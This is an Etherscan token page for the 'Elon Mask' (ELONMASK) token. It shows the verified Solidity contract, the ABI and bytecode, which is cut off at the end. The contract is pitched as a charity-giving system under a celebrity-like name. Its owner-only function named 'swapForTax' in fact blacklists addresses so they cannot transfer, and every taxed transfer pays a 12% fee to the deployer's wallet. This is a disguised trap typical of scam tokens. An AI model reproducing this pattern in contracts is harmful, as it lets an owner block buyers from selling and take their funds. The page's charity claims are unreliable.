ETH Price: $3,311.65 (-4.42%)

Token

Elon Mask (ELONMASK)
 

Overview

Max Total Supply

100,000,000 ELONMASK

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
985,598.240000000010353849 ELONMASK

Value
$0.00
0x1cefc93c74bcb78ce35ef78e868380f830da2023
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ElonMask

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-06
*/

/**
ElonMASK is a groundbreaking new system designed to revolutionise charitable giving. With confidence in the charitable sector being seriously compromised, never has cultivating trust with donors been more important.

Website https://www.emasktoken.com/
telegram https://t.me/emasktoken
Twitter https://twitter.com/EMASK_Official
**/

pragma solidity ^0.8.12;



interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract ElonMask is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;
	mapping(address => bool) public bots;

	uint256 private _tTotal = 100000000 * 10**18;
	uint256 private _maxWallet= 100000000 * 10**18;

	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 public _maxTxAmount;


	string private constant _name = "Elon Mask";
	string private constant _symbol = "ELONMASK";
	uint8 private constant _decimals = 18;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = 12;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(200);
		_maxWallet=_tTotal.div(100);
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
			}
			require(!bots[from] && !bots[to], "This account is blacklisted");

      if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
          require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
      }

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= 1000000000000000000) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}



	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}


	function decreaseTax(uint256 newTaxRate) public onlyOwner{
		require(newTaxRate<_taxFee);
		_taxFee=newTaxRate;
	}

	function increaseBuyLimit(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}



	function createUniswapPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidity() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function swapForTax(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}

	function collectTax() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"decreaseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a52b7d2dcc80cd2e40000006006819055600755600c805461ffff60a81b191690553480156200003357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060098054336001600160a01b0319918216178255600c600855600b8054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600680543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b0316835292909120805490941690911790925554620001129160c890620009bf62000179821b17901c565b600a819055506200013560646006546200017960201b620009bf1790919060201c565b60075560065460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36200028a565b6000620001c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001ca60201b60201c565b9392505050565b60008183620001f75760405162461bcd60e51b8152600401620001ee91906200020f565b60405180910390fd5b50600062000206848662000267565b95945050505050565b600060208083528351808285015260005b818110156200023e5785810183015185820160400152820162000220565b8181111562000251576000604083870101525b50601f01601f1916929092016040019392505050565b6000826200028557634e487b7160e01b600052601260045260246000fd5b500490565b611808806200029a6000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb14610319578063bfd7928414610339578063dd62ed3e14610369578063e52b6b6e146103af578063e8078d94146103cf57600080fd5b8063715018a6146102755780637d1db4a51461028a5780638da5cb5b146102a057806395d89b41146102c85780639a024c1a146102f957600080fd5b8063313ce567116100e7578063313ce567146101d75780633d8705ab146101f35780634a1316721461020a57806350e6a5c91461021f57806370a082311461023f57600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b757600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268456c6f6e204d61736b60b81b60208201525b60405161015f91906113af565b60405180910390f35b34801561017457600080fd5b50610188610183366004611429565b6103e4565b604051901515815260200161015f565b3480156101a457600080fd5b506006545b60405190815260200161015f565b3480156101c357600080fd5b506101886101d2366004611455565b6103fb565b3480156101e357600080fd5b506040516012815260200161015f565b3480156101ff57600080fd5b50610208610464565b005b34801561021657600080fd5b50610208610471565b34801561022b57600080fd5b5061020861023a366004611496565b610714565b34801561024b57600080fd5b506101a961025a3660046114af565b6001600160a01b031660009081526002602052604090205490565b34801561028157600080fd5b50610208610751565b34801561029657600080fd5b506101a9600a5481565b3480156102ac57600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102d457600080fd5b50604080518082019091526008815267454c4f4e4d41534b60c01b6020820152610152565b34801561030557600080fd5b50610208610314366004611496565b6107c5565b34801561032557600080fd5b50610188610334366004611429565b610802565b34801561034557600080fd5b506101886103543660046114af565b60056020526000908152604090205460ff1681565b34801561037557600080fd5b506101a96103843660046114cc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103bb57600080fd5b506102086103ca36600461151b565b61080f565b3480156103db57600080fd5b506102086108a5565b60006103f1338484610a08565b5060015b92915050565b6000610408848484610b2c565b61045a8433610455856040518060600160405280602881526020016117ab602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f6f565b610a08565b5060019392505050565b4761046e81610fa9565b50565b6000546001600160a01b031633146104a45760405162461bcd60e51b815260040161049b906115e0565b60405180910390fd5b600c54600160a01b900460ff16156104fe5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049b565b600b5460065461051b9130916001600160a01b0390911690610a08565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561056e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105929190611615565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106189190611615565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610665573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106899190611615565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156106f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046e9190611632565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161049b906115e0565b600a54811161074c57600080fd5b600a55565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161049b906115e0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107ef5760405162461bcd60e51b815260040161049b906115e0565b60085481106107fd57600080fd5b600855565b60006103f1338484610b2c565b6000546001600160a01b031633146108395760405162461bcd60e51b815260040161049b906115e0565b60005b81518110156108a15760016005600084848151811061085d5761085d611654565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089981611680565b91505061083c565b5050565b6000546001600160a01b031633146108cf5760405162461bcd60e51b815260040161049b906115e0565b600b546001600160a01b031663f305d7194730610901816001600160a01b031660009081526002602052604090205490565b6000806109166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561097e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109a3919061169b565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6000610a0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610fe3565b9392505050565b6001600160a01b038316610a6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049b565b6001600160a01b038216610acb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049b565b6001600160a01b038216610bf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049b565b60008111610c545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049b565b6000546001600160a01b03848116911614801590610c8057506000546001600160a01b03838116911614155b15610f0e57600c546001600160a01b038481169116148015610cb05750600b546001600160a01b03838116911614155b8015610cd557506001600160a01b03821660009081526004602052604090205460ff16155b15610d2c57600a54811115610d2c5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161049b565b6001600160a01b03831660009081526005602052604090205460ff16158015610d6e57506001600160a01b03821660009081526005602052604090205460ff16155b610dba5760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161049b565b600c546001600160a01b03838116911614801590610df157506001600160a01b03821660009081526004602052604090205460ff16155b8015610e1657506001600160a01b03831660009081526004602052604090205460ff16155b15610e965760075481610e3e846001600160a01b031660009081526002602052604090205490565b610e4891906116c9565b1115610e965760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161049b565b30600090815260026020526040902054600c54600160a81b900460ff16158015610ece5750600c546001600160a01b03858116911614155b8015610ee35750600c54600160b01b900460ff165b15610f0c57610ef181611011565b47670de0b6b3a76400008110610f0a57610f0a47610fa9565b505b505b6001600160a01b038216600090815260046020526040902054610f6a9084908490849060ff1680610f5757506001600160a01b03871660009081526004602052604090205460ff165b610f635760085461118b565b600061118b565b505050565b60008184841115610f935760405162461bcd60e51b815260040161049b91906113af565b506000610fa084866116e1565b95945050505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108a1573d6000803e3d6000fd5b600081836110045760405162461bcd60e51b815260040161049b91906113af565b506000610fa084866116f8565b600c805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105957611059611654565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d69190611615565b816001815181106110e9576110e9611654565b6001600160a01b039283166020918202929092010152600b5461110f9130911684610a08565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061114890859060009086903090429060040161171a565b600060405180830381600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006111a2606461119c858561128f565b906109bf565b905060006111b0848361130e565b6001600160a01b0387166000908152600260205260409020549091506111d6908561130e565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112059082611350565b6001600160a01b0386166000908152600260205260408082209290925530815220546112319083611350565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261129e575060006103f5565b60006112aa838561178b565b9050826112b785836116f8565b14610a015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049b565b6000610a0183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6f565b60008061135d83856116c9565b905083811015610a015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049b565b600060208083528351808285015260005b818110156113dc578581018301518582016040015282016113c0565b818111156113ee576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461046e57600080fd5b803561142481611404565b919050565b6000806040838503121561143c57600080fd5b823561144781611404565b946020939093013593505050565b60008060006060848603121561146a57600080fd5b833561147581611404565b9250602084013561148581611404565b929592945050506040919091013590565b6000602082840312156114a857600080fd5b5035919050565b6000602082840312156114c157600080fd5b8135610a0181611404565b600080604083850312156114df57600080fd5b82356114ea81611404565b915060208301356114fa81611404565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561152e57600080fd5b823567ffffffffffffffff8082111561154657600080fd5b818501915085601f83011261155a57600080fd5b81358181111561156c5761156c611505565b8060051b604051601f19603f8301168101818110858211171561159157611591611505565b6040529182528482019250838101850191888311156115af57600080fd5b938501935b828510156115d4576115c585611419565b845293850193928501926115b4565b98975050505050505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561162757600080fd5b8151610a0181611404565b60006020828403121561164457600080fd5b81518015158114610a0157600080fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116945761169461166a565b5060010190565b6000806000606084860312156116b057600080fd5b8351925060208401519150604084015190509250925092565b600082198211156116dc576116dc61166a565b500190565b6000828210156116f3576116f361166a565b500390565b60008261171557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561176a5784516001600160a01b031683529383019391830191600101611745565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156117a5576117a561166a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db9d1cb72354a4e3453b759f4fd088020a069818ec9de4adc835d07acaf1adcf64736f6c634300080c0033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb14610319578063bfd7928414610339578063dd62ed3e14610369578063e52b6b6e146103af578063e8078d94146103cf57600080fd5b8063715018a6146102755780637d1db4a51461028a5780638da5cb5b146102a057806395d89b41146102c85780639a024c1a146102f957600080fd5b8063313ce567116100e7578063313ce567146101d75780633d8705ab146101f35780634a1316721461020a57806350e6a5c91461021f57806370a082311461023f57600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b757600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268456c6f6e204d61736b60b81b60208201525b60405161015f91906113af565b60405180910390f35b34801561017457600080fd5b50610188610183366004611429565b6103e4565b604051901515815260200161015f565b3480156101a457600080fd5b506006545b60405190815260200161015f565b3480156101c357600080fd5b506101886101d2366004611455565b6103fb565b3480156101e357600080fd5b506040516012815260200161015f565b3480156101ff57600080fd5b50610208610464565b005b34801561021657600080fd5b50610208610471565b34801561022b57600080fd5b5061020861023a366004611496565b610714565b34801561024b57600080fd5b506101a961025a3660046114af565b6001600160a01b031660009081526002602052604090205490565b34801561028157600080fd5b50610208610751565b34801561029657600080fd5b506101a9600a5481565b3480156102ac57600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102d457600080fd5b50604080518082019091526008815267454c4f4e4d41534b60c01b6020820152610152565b34801561030557600080fd5b50610208610314366004611496565b6107c5565b34801561032557600080fd5b50610188610334366004611429565b610802565b34801561034557600080fd5b506101886103543660046114af565b60056020526000908152604090205460ff1681565b34801561037557600080fd5b506101a96103843660046114cc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103bb57600080fd5b506102086103ca36600461151b565b61080f565b3480156103db57600080fd5b506102086108a5565b60006103f1338484610a08565b5060015b92915050565b6000610408848484610b2c565b61045a8433610455856040518060600160405280602881526020016117ab602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f6f565b610a08565b5060019392505050565b4761046e81610fa9565b50565b6000546001600160a01b031633146104a45760405162461bcd60e51b815260040161049b906115e0565b60405180910390fd5b600c54600160a01b900460ff16156104fe5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161049b565b600b5460065461051b9130916001600160a01b0390911690610a08565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561056e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105929190611615565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106189190611615565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610665573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106899190611615565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156106f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046e9190611632565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161049b906115e0565b600a54811161074c57600080fd5b600a55565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161049b906115e0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107ef5760405162461bcd60e51b815260040161049b906115e0565b60085481106107fd57600080fd5b600855565b60006103f1338484610b2c565b6000546001600160a01b031633146108395760405162461bcd60e51b815260040161049b906115e0565b60005b81518110156108a15760016005600084848151811061085d5761085d611654565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089981611680565b91505061083c565b5050565b6000546001600160a01b031633146108cf5760405162461bcd60e51b815260040161049b906115e0565b600b546001600160a01b031663f305d7194730610901816001600160a01b031660009081526002602052604090205490565b6000806109166000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561097e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109a3919061169b565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6000610a0183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610fe3565b9392505050565b6001600160a01b038316610a6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049b565b6001600160a01b038216610acb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049b565b6001600160a01b038216610bf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049b565b60008111610c545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049b565b6000546001600160a01b03848116911614801590610c8057506000546001600160a01b03838116911614155b15610f0e57600c546001600160a01b038481169116148015610cb05750600b546001600160a01b03838116911614155b8015610cd557506001600160a01b03821660009081526004602052604090205460ff16155b15610d2c57600a54811115610d2c5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161049b565b6001600160a01b03831660009081526005602052604090205460ff16158015610d6e57506001600160a01b03821660009081526005602052604090205460ff16155b610dba5760405162461bcd60e5